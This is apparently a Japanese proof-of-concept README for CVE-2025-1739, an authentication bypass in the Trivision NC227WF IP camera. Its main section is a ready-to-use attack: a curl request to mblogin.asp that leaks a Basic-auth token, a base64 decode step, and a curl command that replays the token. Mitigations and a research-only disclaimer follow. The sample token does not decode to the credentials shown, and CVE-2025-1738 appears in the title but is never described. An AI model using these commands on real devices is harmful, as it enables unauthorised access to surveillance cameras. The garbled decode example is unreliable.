CVE-2025-1738 & CVE-2025-1739 — Trivision カメラ NC227WF PoC

📋 概要

🔓 CVE-2025-1739 — Basic認証コードの露出 / 認証バイパス (CWE-288)

説明

このカメラは、mblogin.asp エンドポイントを介して有効なBase64エンコード済みBasic認証トークンを漏洩させます。このトークンは簡単にデコードして再利用でき、パスワードを知らなくてもデバイスへの不正アクセスが可能になります。

• 攻撃ベクトル: 隣接ネットワーク (AV:A)
• CVSSスコア: 7.1
• CWE: CWE-288 (代替パスまたはチャネルを使用した認証バイパス)

ペイロード

curl -u admin:whatever http://<CAMERA_IP>:<PORT> --request-target en/mobile/mblogin.asp

レスポンス例

レスポンスには有効なBasic認証トークンが含まれます:

ywrtaw46vw5ndwvzc2fibguxmjmh

トークンのデコード

echo "ywrtaw46vw5ndwvzc2fibguxmjmh" | base64 -d
# Output: admin:unguessable123!

トークンの再利用

curl -H "Authorization: Basic ywrtaw46vw5ndwvzc2fibguxmjmh" http://<CAMERA_IP>:<PORT>/

🛡️ 緩和策

• ファームウェアをアップグレードする（Trivisionからパッチ済みバージョンが提供されている場合）。
• カメラを隔離する（外部アクセスのない専用VLANに配置する）。
• 信頼できないネットワークセグメントからカメラの管理ポートをファイアウォールで遮断する。
• デフォルトの認証情報を変更し、パスワードを定期的にローテーションする。
• activex_pal.asp および mblogin.asp への予期しないアクセスを監視する。

⚖️ 免責事項

このリポジトリは、教育目的および許可を得たセキュリティ研究専用です。著者は不正使用について一切責任を負いません。デバイスをテストする前に必ず明示的な許可を取得してください。